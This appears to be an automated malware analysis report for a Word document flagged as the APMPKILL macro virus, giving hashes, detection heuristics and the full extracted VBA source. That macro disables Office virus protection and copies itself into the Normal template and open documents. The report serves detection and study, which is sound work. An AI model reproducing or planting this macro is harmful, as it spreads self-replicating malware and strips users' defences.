Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 159f92db8162c03a…

MALICIOUS

Office (OLE)

105.5 KB Created: 2019-10-25 03:01:00 Authoring application: Microsoft Office Word First seen: 2022-07-25
MD5: 13763fdb400bcb28522f90483fbdbc35 SHA-1: 8f46e165266337cd563f0e54e0dec9e685c43fa7 SHA-256: 159f92db8162c03acfc1c743142cc6797f9f40dafb3afdf28679ff5c7ac29387
148 Risk Score

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
       Application.Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1051 bytes
SHA-256: 6cfadd81889399a0a9bbacb19b311a08c898c734f434f422fe4fcb751b2fc602
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Application.Options.VirusProtection = False
   Application.Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.vbcomponents(1).codemodule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.vbcomponents(1).codemodule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.vbcomponents(1).codemodule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .countoflines
          .insertlines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub